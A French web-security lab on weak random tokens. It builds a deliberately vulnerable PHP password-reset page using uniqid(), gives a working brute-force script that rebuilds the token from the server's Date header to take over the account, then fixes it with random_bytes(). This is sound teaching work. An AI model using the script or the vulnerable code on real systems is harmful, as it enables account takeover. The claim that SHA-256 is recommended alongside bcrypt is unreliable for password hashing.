Défaillances cryptographiques
- Comprendre pourquoi un jeton de sécurité généré avec une fonction non cryptographique peut être reconstruit par un attaquant, même sans jamais voler ni casser aucun mot de passe (Cryptographic Failures, n°4 du Top 10 de l'OWASP (2025)).
- Apprendre à utiliser
random_bytes(), la fonction PHP conçue pour produire un hasard réellement imprévisible.
Toutes les fonctions qui produisent un nombre « au hasard » ne se valent pas. Certaines sont prévues pour des jeux ou des tirages sans enjeu de sécurité ; d'autres, bien plus rares, sont conçues pour qu'aucun attaquant ne puisse deviner leur résultat. Confondre les deux, pour un jeton de sécurité, rend ce jeton totalement inutile.
1. Création du projet vulnérable
Créez un dossier tp-jeton contenant la fonctionnalité « mot de passe oublié » du club de
randonnée.
membres.json :
[
{
"pseudo": "julie",
"email": "julie@club-randonnee.fr",
"nom": "Julie Martin",
"mot_de_passe": "$2y$12$4kL45lS18InfJKsrz87gwe25s1p8Suh8WKVlQFINrpuvrlFyf0cXi"
}
]
outils.php :
<?php
const FICHIER_MEMBRES = __DIR__ . '/membres.json';
const FICHIER_JETONS = __DIR__ . '/jetons.json';
function lireMembres(): array
{
return json_decode(file_get_contents(FICHIER_MEMBRES), true);
}
function ecrireMembres(array $membres): void
{
file_put_contents(FICHIER_MEMBRES, json_encode($membres, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
}
function trouverMembreParEmail(string $email): ?array
{
foreach (lireMembres() as $membre) {
if ($membre['email'] === $email) {
return $membre;
}
}
return null;
}
function lireJetons(): array
{
if (!file_exists(FICHIER_JETONS)) {
return [];
}
return json_decode(file_get_contents(FICHIER_JETONS), true);
}
function ecrireJetons(array $jetons): void
{
file_put_contents(FICHIER_JETONS, json_encode($jetons, JSON_PRETTY_PRINT));
}
index.php :
<?php
require 'outils.php';
$message = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$email = $_POST['email'] ?? '';
$membre = trouverMembreParEmail($email);
if ($membre) {
$jeton = uniqid();
$jetons = lireJetons();
$jetons[$email] = ['jeton' => $jeton, 'expiration' => time() + 3600];
ecrireJetons($jetons);
// Simule l'envoi d'un e-mail : écrit le lien dans la "boîte mail" de la victime
$lien = "http://localhost:8000/reinitialiser.php?email=" . urlencode($email) . "&jeton=$jeton";
file_put_contents(__DIR__ . '/boite_mail_de_' . $membre['pseudo'] . '.txt', "Lien de réinitialisation : $lien\n");
}
// Même message, que l'adresse existe ou non (pas d'énumération de comptes)
$message = "Si cette adresse existe, un lien de réinitialisation vient d'être envoyé.";
}
?>
<!DOCTYPE html>
<html lang="fr">
<head><meta charset="UTF-8"><title>Mot de passe oublié - Club de randonnée</title></head>
<body>
<h1>Mot de passe oublié</h1>
<?php if ($message): ?><p><?= htmlspecialchars($message) ?></p><?php endif; ?>
<form method="post" action="">
<p><label>Votre adresse e-mail : <input type="email" name="email" required></label></p>
<button type="submit">Recevoir un lien de réinitialisation</button>
</form>
</body>
</html>
reinitialiser.php :
<?php
require 'outils.php';
$email = $_GET['email'] ?? $_POST['email'] ?? '';
$jeton = $_GET['jeton'] ?? $_POST['jeton'] ?? '';
$erreur = null;
$succes = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$jetons = lireJetons();
$infos = $jetons[$email] ?? null;
if (!$infos || $infos['jeton'] !== $jeton || $infos['expiration'] < time()) {
$erreur = 'Lien invalide ou expiré.';
} else {
$membres = lireMembres();
foreach ($membres as &$membre) {
if ($membre['email'] === $email) {
$membre['mot_de_passe'] = password_hash($_POST['nouveau_mot_de_passe'], PASSWORD_DEFAULT);
}
}
unset($membre);
ecrireMembres($membres);
unset($jetons[$email]);
ecrireJetons($jetons);
$succes = 'Mot de passe modifié.';
}
}
?>
<!DOCTYPE html>
<html lang="fr">
<head><meta charset="UTF-8"><title>Réinitialiser le mot de passe - Club de randonnée</title></head>
<body>
<h1>Choisir un nouveau mot de passe</h1>
<?php if ($erreur): ?><p style="color:red;"><?= htmlspecialchars($erreur) ?></p><?php endif; ?>
<?php if ($succes): ?><p style="color:green;"><?= htmlspecialchars($succes) ?></p><?php endif; ?>
<form method="post" action="">
<input type="hidden" name="email" value="<?= htmlspecialchars($email) ?>">
<input type="hidden" name="jeton" value="<?= htmlspecialchars($jeton) ?>">
<p><label>Nouveau mot de passe : <input type="password" name="nouveau_mot_de_passe" required></label></p>
<button type="submit">Valider</button>
</form>
</body>
</html>
uniqid() génère un identifiant censé être « unique », pas un identifiant secret. Rien dans sa
documentation ne promet qu'il soit imprévisible : c'est précisément ce que ce TP va démontrer.
La fonction PHP password_hash()
password_hash() génère un sel aléatoire en interne à chaque appel, puis l’intègre au résultat.
Vous n’avez donc pas à créer ni à stocker le sel séparément.
Par exemple, 2 appels avec le même mot de passe produisent généralement des chaînes différentes :
$a = password_hash('secret', PASSWORD_DEFAULT);
$b = password_hash('secret', PASSWORD_DEFAULT);
C’est possible parce que la chaîne renvoyée contient non seulement le hachage, mais aussi les informations nécessaires pour le vérifier : l’algorithme, ses paramètres et le sel.
À la connexion, password_verify() lit ces informations dans la chaîne et refait le calcul avec le sel correspondant :
password_verify('secret', $a); // true
Le sel n’est pas un secret, mais le rôle de password_hash() est de :
- empêcher que 2 mots de passe identiques donnent le même hachage
- rendre ainsi les rainbow tables inutilisables.
2. Démarrer le serveur Web
Dans le dossier tp-jeton, démarrez le serveur Web intégré à PHP :
php -S localhost:8000
Ouvrez http://localhost:8000/, saisissez julie@club-randonnee.fr, puis
ouvrez le fichier boite_mail_de_julie.txt qui vient d'apparaître dans le dossier : il contient le
lien que Julie aurait réellement reçu par e-mail.
3. Observer que le jeton n'a rien d'aléatoire
Redemandez un lien pour julie@club-randonnee.fr (le fichier boite_mail_de_julie.txt est
remplacé). Comparez le nouveau jeton (dans l'URL du fichier) à celui obtenu à l'étape précédente.
Question : Que remarquez-vous entre les deux jetons, obtenus à quelques secondes d'intervalle ?
📌 Une réponse
C'est exactement ce que c'est : la documentation PHP de uniqid() précise que cette fonction se
base sur microtime(), l'heure courante en microsecondes. Les 8 premiers caractères encodent
le nombre de secondes écoulées depuis 1970 (comme time()), et les 5 derniers encodent les
microsecondes de la seconde en cours. Aucun hasard n'intervient.
4. Reconstruire un jeton à distance
Nous allons maintenant jouer le rôle de l'attaquant, qui connaît l'adresse e-mail de Julie (visible, par exemple, sur le site du club) mais n'a pas accès à sa boîte mail.
Créez un second dossier tp-jeton-attaquant (à côté de tp-jeton, pas dedans), contenant le
fichier deviner_jeton.php :
<?php
date_default_timezone_set('Europe/Paris');
// Script d'attaque : reconstruit le jeton de réinitialisation à partir de l'heure du serveur
$email = 'julie@club-randonnee.fr';
$nouveauMotDePasse = 'PirateAccesTotal1';
// Marge de sécurité : le temps (en secondes) qu'on s'autorise entre la demande de
// réinitialisation et le démarrage de ce script (le temps de basculer de fenêtre, de lancer la
// commande...). Augmentez cette valeur si le script ne trouve rien du premier coup.
const MARGE_SECONDES = 5;
// Récupère automatiquement l'heure du serveur, grâce à l'en-tête HTTP Date présent dans
// toute réponse Web : inutile de la lire ni de la saisir à la main.
$enTetes = get_headers('http://localhost:8000/', true);
$dateServeur = null;
foreach ($enTetes as $nom => $valeur) {
if (strtolower((string) $nom) === 'date') {
$dateServeur = is_array($valeur) ? end($valeur) : $valeur;
}
}
if ($dateServeur === null) {
echo "Impossible de lire l'en-tête Date du serveur.\n";
exit(1);
}
$secondeServeur = strtotime($dateServeur);
echo "Heure du serveur (en-tête Date) : $dateServeur\n";
// Point de départ du chronomètre, pour mesurer la durée de l'attaque
$debut = microtime(true);
$essais = 0;
// On part de la seconde actuelle du serveur, puis on recule progressivement : la demande de
// réinitialisation a forcément eu lieu avant le démarrage de ce script, jamais après.
for ($secondesEnArriere = 0; $secondesEnArriere <= MARGE_SECONDES; $secondesEnArriere++) {
$seconde = $secondeServeur - $secondesEnArriere;
for ($usec = 0; $usec <= 999999; $usec++) {
$essais++;
$jetonEssaye = sprintf('%08x%05x', $seconde, $usec);
// Pour voir si le script fonctionne bien
if ($usec % 1000 === 0) {
echo "Seconde testée : $seconde, jeton essayé : $jetonEssaye (un jeton sur 1000 est affiché)\n";
}
$donnees = http_build_query([
'email' => $email,
'jeton' => $jetonEssaye,
'nouveau_mot_de_passe' => $nouveauMotDePasse,
]);
$contexte = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $donnees,
'ignore_errors' => true,
],
]);
$reponse = file_get_contents('http://localhost:8000/reinitialiser.php', false, $contexte);
if (str_contains($reponse, 'Mot de passe modifié')) {
$duree = microtime(true) - $debut;
echo "Jeton trouvé après $essais essais : $jetonEssaye\n";
echo "Nouveau mot de passe du compte $email : $nouveauMotDePasse\n";
echo "Temps mis pour trouver le jeton : " . number_format($duree, 2) . " secondes\n";
exit;
}
}
}
$duree = microtime(true) - $debut;
echo "Aucun jeton trouvé (essayez d'augmenter MARGE_SECONDES).\n";
echo "Temps écoulé : " . number_format($duree, 2) . " secondes\n";
Un jeton uniqid() ne dépend que de deux informations : la seconde et la microseconde de sa
génération. La seconde se devine facilement : l'en-tête HTTP Date, présent dans toute réponse
Web, donne l'heure du serveur à la seconde près, et le script l'interroge lui-même avec
get_headers(). Comme il s'écoule toujours quelques secondes entre la demande de réinitialisation
et le démarrage de l'attaque, le script reteste aussi, par sécurité, les quelques secondes
précédentes (MARGE_SECONDES). Pour chaque seconde testée, il ne reste que la microseconde à
essayer : au plus 1 000 000 de possibilités, bien loin des milliards de combinaisons d'un mot
de passe.
5. Déclencher l'attaque
Dans tp-jeton, redemandez un lien de réinitialisation pour julie@club-randonnee.fr
(étape 2), puis lancez l'attaque depuis tp-jeton-attaquant, sans argument :
php deviner_jeton.php
Pas besoin de relever ni de saisir l'heure à la main : le script interroge lui-même le serveur
(en-tête Date) dès son démarrage. Prenez votre temps pour lancer la commande : quelques secondes
d'écart ne changent rien, grâce à MARGE_SECONDES.
Résultat attendu : après quelques dizaines de secondes (jusqu'à 3 ou 4 minutes dans le pire
cas), le script affiche Jeton trouvé après ... essais et un nouveau mot de passe pour le compte
de Julie.
Ce script peut prendre un moment à s'exécuter : c'est le temps nécessaire pour qu'un simple ordinateur, sans aucun outil spécialisé, essaie jusqu'à un million de possibilités par seconde testée. Pendant qu'il tourne, vous pouvez lire la suite de cette séance.
Question : Combien de mots de passe aurait-il fallu essayer pour casser, par la même méthode, un mot de passe de 10 caractères avec majuscules, minuscules et chiffres ? Que montre cette comparaison ?
📌 Une réponse
L'attaquant vient de changer le mot de passe de Julie et de se connecter à sa place, sans connaître son ancien mot de passe, sans l'avoir deviné par force brute, et sans avoir eu accès à sa boîte mail. C'est un détournement de compte complet, rendu possible par un seul choix de fonction au moment de générer le jeton.
6. Sécuriser le code PHP
Modifiez tp-jeton/index.php pour remplacer uniqid() par random_bytes(), la
fonction PHP conçue pour la cryptographie :
$jeton = bin2hex(random_bytes(32));
random_bytes(32) produit 32 octets choisis par un générateur cryptographiquement sûr
(fourni par le système d'exploitation), soit 256 bits de hasard réel. bin2hex() les convertit
ensuite en une chaîne de 64 caractères hexadécimaux, lisible et facile à placer dans une URL.
C'est exactement la fonction déjà utilisée pour le jeton CSRF dans la séance sur le
CSRF.
7. Vérifier que les jetons ne se ressemblent plus
Rejouez l'étape 3 avec le code corrigé : demandez deux liens de réinitialisation à quelques secondes d'intervalle, et comparez les deux jetons obtenus.
Résultat attendu : les deux jetons font 64 caractères et ne partagent aucun caractère en commun d'un bout à l'autre, quel que soit l'intervalle de temps qui les sépare.
Question : Pourquoi le script deviner_jeton.php de l'étape 4 ne fonctionnerait-il plus du
tout contre cette version corrigée, même en le laissant tourner pendant des années ?
📌 Une réponse
Pour tout ce qui touche à la sécurité (jeton de session, jeton CSRF, jeton de réinitialisation,
clé d'API), utilisez toujours random_bytes() ou random_int(). Ne vous fiez jamais à
uniqid(), rand() (qui n'est pas conçu pour la cryptographie) ni à une combinaison de données
prévisibles (date, identifiant de compte, adresse e-mail).
8. Ajouter une couche de défense supplémentaire : une expiration courte
Même avec un jeton imprévisible, limiter sa durée de vie réduit encore la fenêtre d'attaque en
cas de fuite accidentelle (par exemple un lien de réinitialisation resté affiché sur un écran
partagé). Réduisez la durée de validité dans index.php :
$jetons[$email] = ['jeton' => $jeton, 'expiration' => time() + 900]; // 15 minutes au lieu d'une heure
Une expiration courte ne remplace pas un jeton imprévisible : avec uniqid(), elle n'aurait
quasiment rien changé, puisque l'attaque de ce TP se joue en quelques minutes. Les deux mesures
se complètent : l'imprévisibilité empêche de deviner le jeton, la courte durée de vie limite les
conséquences d'un jeton qui aurait quand même fuité (affiché par erreur, intercepté...).
Notions théoriques

Les Cryptographic Failures (« défaillances cryptographiques ») regroupent les failles liées à l'absence, à la faiblesse ou au mauvais usage de mécanismes cryptographiques : chiffrement, hachage, génération de nombres aléatoires.
L'OWASP signale que trois des défaillances les plus fréquentes dans cette catégorie concernent un
générateur de nombres pseudo-aléatoires non cryptographique : exactement la faille illustrée
par uniqid() dans ce TP.
Les principales défaillances recensées par l'OWASP
- Génération de hasard non cryptographique pour un jeton, une clé ou un identifiant de sécurité (ce TP).
- Transmission de données sensibles sans chiffrement : un site accessible en HTTP plutôt qu'en HTTPS, ou un en-tête de sécurité manquant qui n'impose pas HTTPS.
- Hachage de mot de passe avec un algorithme obsolète (
MD5,SHA1). - Clés ou secrets codés en dur dans le code source, parfois même publiés par erreur dans un dépôt Git public.
- Certificat ou chaîne de confiance mal vérifiés, qui permettrait à un attaquant de s'interposer dans une communication pourtant chiffrée.
- Absence de chiffrement des données sensibles au repos (dans une base de données ou un fichier), alors que leur nature (santé, paiement, données personnelles) l'exigerait.
MD5 et SHA-1 sont 2 algorithmes de hachage obsolètes.
Il est préconisé d'utiliser bcrypt ou SHA-256.
rand() est-il concerné de la même façon ?
rand() et mt_rand() ne sont pas directement prévisibles comme uniqid() (ils ne se
déduisent pas d'une simple horloge), mais ils reposent sur un algorithme, le Mersenne Twister,
non conçu pour la cryptographie : il privilégie la rapidité et une bonne répartition
statistique, pas la résistance à un attaquant qui analyserait ses résultats. La règle reste
identique : pour un usage de sécurité, PHP fournit random_int() (l'équivalent cryptographique de
rand()) et random_bytes() (l'équivalent cryptographique de données aléatoires brutes).
Un formulaire protégé par un jeton CSRF généré avec random_bytes() (voir la séance sur le
CSRF)
mais dont le lien de réinitialisation de mot de passe utilise encore uniqid() reste vulnérable :
la cryptographie se vérifie fonctionnalité par fonctionnalité, jamais une seule fois pour tout
le site.
Test de mémorisation/compréhension
Bonnes pratiques
- Utiliser
random_bytes()ourandom_int()pour tout jeton, toute clé ou tout identifiant de sécurité, jamaisuniqid()nirand()/mt_rand(). - Chiffrer toutes les communications avec HTTPS, y compris les pages qui semblent sans enjeu.
- Hacher les mots de passe avec
password_hash(), jamais avecmd5()ousha1(). - Ne jamais coder un secret en dur dans le code source (clé d'API, mot de passe de base de données) : utiliser des variables d'environnement, exclues du dépôt Git.
- Limiter la durée de vie des jetons sensibles, en complément d'une génération imprévisible.
- Chiffrer les données sensibles au repos, en particulier les données de santé ou de paiement.
Une fonction de hasard « suffisamment bonne » pour un jeu, une couleur aléatoire ou un identifiant d'affichage ne l'est presque jamais pour un jeton de sécurité. En cas de doute sur l'usage prévu d'une fonction, consultez sa documentation : PHP indique explicitement quelles fonctions sont adaptées à la cryptographie.
Ce que fait Symfony
Le composant Security de Symfony utilise random_bytes() en interne pour générer tous ses
jetons sensibles (jeton CSRF, identifiant de session, jeton de réinitialisation de mot de passe du
composant ResetPasswordBundle) : un développeur Symfony n'a normalement jamais besoin d'appeler
lui-même une fonction de hasard pour ces usages.
// Avec le ResetPasswordBundle, le jeton est généré et vérifié par le framework
$resetToken = $resetPasswordHelper->generateResetToken($user);
Cette protection ne couvre que ce que Symfony génère lui-même. Un développeur qui ajoute, en
dehors de ces composants, son propre code uniqid() ou rand() pour un besoin de sécurité
spécifique réintroduit exactement la faille démontrée dans ce TP, quel que soit le framework
utilisé.